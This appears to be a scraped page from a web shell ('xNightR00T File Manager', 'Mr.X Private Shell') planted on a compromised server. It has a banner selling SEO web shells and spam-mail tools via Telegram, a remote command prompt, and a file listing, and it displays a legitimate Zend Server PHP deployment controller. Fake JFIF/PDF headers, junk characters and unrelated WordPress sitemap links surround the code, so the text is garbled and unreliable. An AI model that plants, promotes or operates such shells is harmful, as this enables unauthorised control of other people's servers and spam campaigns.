xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?php

namespace Deployment\Controller;

use Deployment\Application\Container;
use Audit\Db\Mapper as auditMapper;
use Audit\Db\ProgressMapper;
use ZendServer\Log\Log;

class WebAPI115Controller extends WebAPI112Controller
{

    /**
     * Get details of an application
     *
     * @api
     * @method GET
     * @section Deployment
     * @version 1.15
     * @param integer application
     * @response {
            "applicationDetails": {
                "applicationInfo": {
                    "id": "11634",
                    "baseUrl": "http:\/\/\u003Cdefault-server\u003E\/zend-web-api-client",
                    "appName": "zend-web-api-client",
                    "userAppName": "zend-web-api-client",
                    "installedLocation": "\/usr\/local\/zend\/var\/apps\/http\/__default__\/0\/zend-web-api-client\/1.6.4_11635",
                    "status": "deployed",
                    "healthCheck": "ok",
                    "isRollbackable": true,
                    "isRedeployable": true,
                    "servers": {
                        "applicationServer": [{
                            "deployedVersion": "1.6.4",
                            "status": "deployed"
                        }]
                    },
                    "deployedVersions": {
                        "deployedVersion": "1.6.4",
                        "applicationRollbackVersion": "1.6.4"
                    },
                    "messageList": [],
                    "creationTime": "2017-04-19T14:14:53+03:00",
                    "creationTimeTimestamp": "1492600493",
                    "lastUsed": "2017-05-21T15:59:03+03:00",
                    "lastUsedTimestamp": "1495371543",
                    "isDefinedApplication": 0,
                    "vhostId": "5",
                    "pendingVersion": "1.6.6"
                },
                "applicationPackage": {
                    "prerequisitesValidation": "false",
                    "prerequisites": "<dependencies><required><directive><name>allow_url_fopen</name><equals>on</equals></directive></required></dependencies>",
                    "userParams": []
                },
                "servers": [{
                    "NODE_ID": "0",
                    "NODE_NAME": "greg-desktop",
                    "JTIME": "1495370348.458",
                    "NODE_IP": "",
                    "STATUS_CODE": "0",
                    "REASON_STRING": "",
                    "IS_DELETED": "0",
                    "LAST_UPDATED": "1495631264",
                    "SERVER_FLAGS": "0",
                    "appId": "11634",
                    "status": 32,
                    "healthStatus": 81,
                    "serverName": "greg-desktop",
                    "version": "1.6.4",
                    "messages": " "
                }],
                "vhosts": [{
                    "id": "0",
                    "name": "greg-desktop",
                    "port": "1495370348.458",
                    "address": "",
                    "status": "0",
                    "message": ""
                }]
            }
        }
     *
     * @return
     */
    public function applicationGetDetailsAction()
    {
        $this->isMethodGet();
        $params = $this->getParameters();
        $this->validateMandatoryParameters($params, array('application'));

        $this->validateInteger($params['application'], 'application');

        $deployedApplication = $this->getDeploymentMapper()->getApplicationById($params['application']);

        if (!($deployedApplication instanceof Container)) {
            throw new \WebAPI\Exception(_t('Application \'%s\' does not exist', array($params['application'])),
            \WebAPI\Exception::APPLICATION_DOES_NOT_EXISTS);
        }

        $prerequisites = '';
        $metadata      = $deployedApplication->getPackageMetaData();
        if ($metadata instanceof \ZendDeployment_PackageMetaData_Interface) {
            $prerequisites = $metadata->getPrerequisites();
            $prerequisites = preg_replace('/[\s]+/', '', $prerequisites);
        }

        $servers = $this->getDeploymentMapper()->getServersStatusByAppId($params['application']);

        $vhosts     = $this->getVhostMapper()->getVhostsDataByAppId($params['application']);
        $vhostsIds = array();
        $vhostsAddresses = array();
        foreach ($vhosts as $vhost) {
            $vhostsIds[] = $vhost['id'];
            $vhostsAddresses[$vhost['id']] = array('address' => $vhost['address'], 'id' => $vhost['id'], 'status' => $vhost['status']);
        }
        
        $vhostMapper = $this->getVhostMapper();
        $vhostsResult = $vhostMapper->getVhosts($vhostsIds);
        $vhostsNodes = $this->getVhostNodes($vhostsIds);
        
//                echo '<pre> $vhosts = '.print_r($vhosts,true).'</pre>';exit;
        $serversIds = $this->getServersMapper()->findRespondingServersIds();

        $this->getVhostMapper()->updateApplication($deployedApplication);

        // if the server is not responding we exclude it from the list. Bug #ZSRV-9670
        foreach ($servers as $id => $serverData) {
            if (!in_array($id, $serversIds)) {
                unset($servers[$id]);
            }
        }

        return array(
            'application' => $deployedApplication,
            'prerequisites' => $prerequisites,
            'servers' => $servers,
            'vhosts' => $vhostsResult,
            'vhostsNodes' => $vhostsNodes,
            'vhostAddresses' => $vhostsAddresses
        );
    }

    /**
     * Attach Virtual hosts to application   
     * 
     * @api
     * @method POST
     * @section Deployment
     * @version 1.15
     * @param integer appId - application id
     * @param array vhosts - virtual hosts ids
     * @response {result : true}
     * 
     * @return  
     */
    public function applicationAttachVhostsAction()
    {
        $this->isMethodPost();
        $params        = $this->getParameters();
        $result        = true;
        $this->validateMandatoryParameters($params, array('vhosts'));
        $this->validateMandatoryParameters($params, array('appId'));
        $serversMapper = $this->getLocator()->get('Servers\Db\Mapper');
        $model = $this->getLocator()->get('Deployment\Model');
        $app   = $model->getApplicationById($params['appId']);
        if(!$app){
            throw new \WebAPI\Exception(_t('Application \'%s\' does not exist', array($params['appId'])),
                \WebAPI\Exception::APPLICATION_DOES_NOT_EXISTS);
        }
        
        //Validate vhosts params
        if(empty($params['vhosts']) || !is_array($params['vhosts'])){
            throw new \WebAPI\Exception(_t('Vhosts \'%s\' does not exist', array($params['vhosts'])),
                \WebAPI\Exception::APPLICATION_DOES_NOT_EXISTS);
        }
        //Verify vhosts
        foreach($params['vhosts'] as $vhostId){
            $this->validateVhostExists($vhostId);
        }
        
        $allVhosts   = $this->getVhostMapper()->getVhosts($params['vhosts']);
        $vhostsNames = array();
        foreach($allVhosts as $vhost){
            $vhostsNames[] = $vhost->getName();
        }
        $serversParams = $this->getParameters(array('servers' => array(), 'tasks' => array(), 'order' => 'NODE_NAME', 'direction' => 'ASC'));

        $serversSet   = $serversMapper->findRespondingServers(false, false, $serversParams);
        $auditMessage = $this->auditMessage(auditMapper::AUDIT_ATTACH_VHOSTS_TO_APPLICATION,
            ProgressMapper::AUDIT_PROGRESS_REQUESTED,array(array(
                'Application' => $app->getUserApplicationName(),
                'Virtual Hosts' => $vhostsNames
            )));

        foreach ($serversSet as $server) {
            $serverId = $server->getNodeId();
            $this->getDeploymentMapper()->attachVhostsDataByAppId($params['appId'], $params['vhosts'],
                $auditMessage->getAuditId(), $serverId);
        }

        return new \WebAPI\View\WebApiResponseContainer(array('result' => $result));
    }

    /**
     * Detach Virtual hosts from application   
     * 
     * @api
     * @method POST
     * @section Deployment
     * @version 1.15
     * @param integer appId - application id
     * @param array vhosts - virtual hosts ids 
     * @response {result : true}
     * 
     * @return  
     */
    public function applicationDetachVhostsAction()
    {
        $this->isMethodPost();
        $params        = $this->getParameters();
        $result        = true;
        $this->validateMandatoryParameters($params, array('vhosts'));
        $this->validateMandatoryParameters($params, array('appId'));
        $serversMapper = $this->getLocator()->get('Servers\Db\Mapper');
        $serversParams = $this->getParameters(array('servers' => array(), 'tasks' => array(), 'order' => 'NODE_NAME', 'direction' => 'ASC'));
        
        $model = $this->getLocator()->get('Deployment\Model');
        $app   = $model->getApplicationById($params['appId']);
        if(!$app){
            throw new \WebAPI\Exception(_t('Application \'%s\' does not exist', array($params['appId'])),
                \WebAPI\Exception::APPLICATION_DOES_NOT_EXISTS);
        }

        //Validate vhosts params
        if(empty($params['vhosts']) || !is_array($params['vhosts'])){
            throw new \WebAPI\Exception(_t('Vhosts \'%s\' does not exist', array($params['vhosts'])),
                \WebAPI\Exception::APPLICATION_DOES_NOT_EXISTS);
        }
        //Verify vhosts
        foreach($params['vhosts'] as $vhostId){
            $this->validateVhostExists($vhostId);
        }


        $allVhosts   = $this->getVhostMapper()->getVhosts($params['vhosts']);
        $vhostsNames = array();
        foreach($allVhosts as $vhost){
            $vhostsNames[] = $vhost->getName();
        }

        $serversSet   = $serversMapper->findRespondingServers(false, false, $serversParams);
        $auditMessage = $this->auditMessage(auditMapper::AUDIT_DETACH_VHOSTS_TO_APPLICATION,
            ProgressMapper::AUDIT_PROGRESS_REQUESTED,array(array(
                'Application' => $app->getUserApplicationName(),
                'Virtual Hosts' => $vhostsNames
            )));

        foreach ($serversSet as $server) {
            $serverId = $server->getNodeId();
            $this->getDeploymentMapper()->detachVhostsDataByAppId($params['appId'], $params['vhosts'],
                $auditMessage->getAuditId(), $serverId);
        }

        return new \WebAPI\View\WebApiResponseContainer(array('result' => $result));
    }

    public function getMasterApplicationsAction()
    {
        $this->isMethodGet();
        
        // closing the session for writing will prevent session locking.
        //$this->getServiceLocator()->get('Zend\Session\SessionManager')->writeClose();
        $deploymentModel = $this->getLocator()->get('Deployment\Model'); /* @var $deploymentModel \Deployment\Model */
        $applications    = $deploymentModel->getMasterApplications();
        $applications->setHydrateClass('\Deployment\Application\Container');
        
        $applications_array = array();
        foreach ($applications as $app) {
            
            /* @var $app \Deployment\Application\Container */
            $applications_array[] = array(
                'id' => intval($app->getApplicationId()),
                'userAppName' => $app->getUserApplicationName()
            );
            
        }
        return new \WebAPI\View\WebApiResponseContainer(array('applicationsList' => $applications_array));
    }
    
    /**
     * Get list of applications with their basic details (for extended details see "applicationGetDetails" web API)
     *
     * @api
     * @method GET
     * @version 1.3
     * @section Deployment
     * @param array applications
     * @param string direction - default ASC - at which order the list is sorted (by ID)
     * @response {
            "applicationsList": [{
                "id": "3363",
                "baseUrl": "http:\/\/\u003Cdefault-server\u003E\/zend-web-api-client123",
                "appName": "zend-web-api-client",
                "userAppName": "zend-web-api-client123",
                "installedLocation": "\/usr\/local\/zend\/var\/apps\/http\/__default__\/0\/zend-web-api-client123\/1.6.9_3450",
                "status": "deployed",
                "activeTasks": [
                    "UPGRADE"
                ],
                "healthCheck": "ok",
                "isRollbackable": true,
                "isRedeployable": true,
                "servers": {
                    "applicationServer": {
                        "1": {
                            "deployedVersion": "1.6.8",
                            "status": "deployed"
                        },
                        "3": {
                            "deployedVersion": "1.6.8",
                            "status": "deployed"
                        },
                        "2": {
                            "deployedVersion": "1.6.9",
                            "status": "deployed"
                        }
                    }
                },
                "deployedVersions": {
                    "deployedVersion": "1.6.9",
                    "applicationRollbackVersion": "1.6.8"
                },
                "messageList": [],
                "creationTime": "2017-07-20T16:25:12+03:00",
                "creationTimeTimestamp": "1500557112",
                "lastUsed": "2017-07-20T16:24:53+03:00",
                "lastUsedTimestamp": "1500557093",
                "isDefinedApplication": 0,
                "vhostId": "18",
                "vhostIds": ["18", "1"],
                "isCanAttachVhosts": true,
                "pendingVersion": "1.6.9",
                "pendingVersionData": {
                    "app_version_id": "3450",
                    "app_id": "3363",
                    "task_descriptor_id": "3768",
                    "health_check_path": "",
                    "last_used": "1500557093",
                    "creation_time": "1500557093",
                    "is_stable": "0",
                    "node_id": "2",
                    "nodes": [{
                        "NODE_ID": "2",
                        "NODE_NAME": "10.9.183.46",
                        "JTIME": "1500518481.958",
                        "NODE_IP": "10.9.186.171",
                        "STATUS_CODE": "0",
                        "REASON_STRING": "",
                        "IS_DELETED": "0",
                        "LAST_UPDATED": "1500557186",
                        "SERVER_FLAGS": "0"
                    }]
                }
            }]
        }
     *
     *
     * @return
     */
    public function applicationGetStatusAction()
    {
        $this->isMethodGet();

        // closing the session for writing will prevent session locking.
        $this->getServiceLocator()->get('Zend\Session\SessionManager')->writeClose();

        $params = $this->getParameters(array(
            'applications' => array(),
            'direction' => 'ASC'
        ));

        $allVhosts   = $this->getVhostMapper()->getVhosts(array(),array('owner' => array(1,2)));
        $allVhostIds = array();
        foreach ($allVhosts as $vhost) {
            $allVhostIds[$vhost->getId()] = $vhost;
        }

        $applications = $this->validateArray($params['applications'], 'applications');
        foreach ($applications as $idx => $application) {
            $this->validateString($application, "applications[{$idx}]");
        }

        /* @var $deploymentMapper \Deployment\FilteredAccessMapper */
        $deploymentMapper = $this->getLocator('Deployment\FilteredAccessMapper');
 
        $deployedApplications = $deploymentMapper->getMasterApplicationsByIds($applications, $params['direction'],$allVhosts);

        $deployedApplications->setHydrateClass('\Deployment\Application\Container');

        $keys = array();
        // collect the applications ids
        foreach ($deployedApplications as $index => $appContainer) {
            $keys[] = $appContainer->getApplicationId();
        }

        $servers           = $this->getDeploymentMapper()->getServersStatusByAppIds($keys);
        $respondingServers = $this->getLocator('Servers\Db\Mapper')->findRespondingServers();
        
        // get all the "open" tasks of the applications
        $activeTasks = $this->getDeploymentMapper()->getApplicationsActiveTasks();

        return array(
            'applications' => $deployedApplications,
            'activeTasks' => $activeTasks,
            'servers' => $servers,
            'allVhosts' => $allVhostIds,
            'respondingServersCount' => count($respondingServers),
        );
    }


    /**
     *
     * @param integer $vhostId
     * @throws WebAPI\Exception
     * @return \Vhost\Entity\Vhost
     */
    protected function validateVhostExists($vhostId)
    {
        $currentVhost = $this->getVhostMapper()->getVhostById($vhostId);
        if (is_null($currentVhost->getId())) {
            throw new \WebAPI\Exception(_t( (Manager::isIIS() ? 'Web site' : 'Vhost') . " %s does not exist", array($vhostId)), \WebAPI\Exception::NO_SUCH_VHOST);
        }
        return $currentVhost;
    }
    
    private function getVhostNodes($vhostsIds)
    {
        new \Zend\Session\Storage\SessionArrayStorage;
        $vhostsSessions = new \Zend\Session\Container('vhost_session');
        $deletingVhosts = isset($vhostsSessions->deletingVhosts) ? $vhostsSessions->deletingVhosts : array();
        return $this->getVhostMapper()->getFullVhostNodes($vhostsIds, $deletingVhosts);
    }
}

Filemanager

Name Type Size Permission Actions
DefineWizardController.php File 2.64 KB 0644
IndexController.php File 3.98 KB 0644
WebAPI112Controller.php File 885 B 0644
WebAPI115Controller.php File 17.28 KB 0644
WebAPI19Controller.php File 1.03 KB 0644
WebAPIController.php File 89.84 KB 0644
WizardController.php File 59.54 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml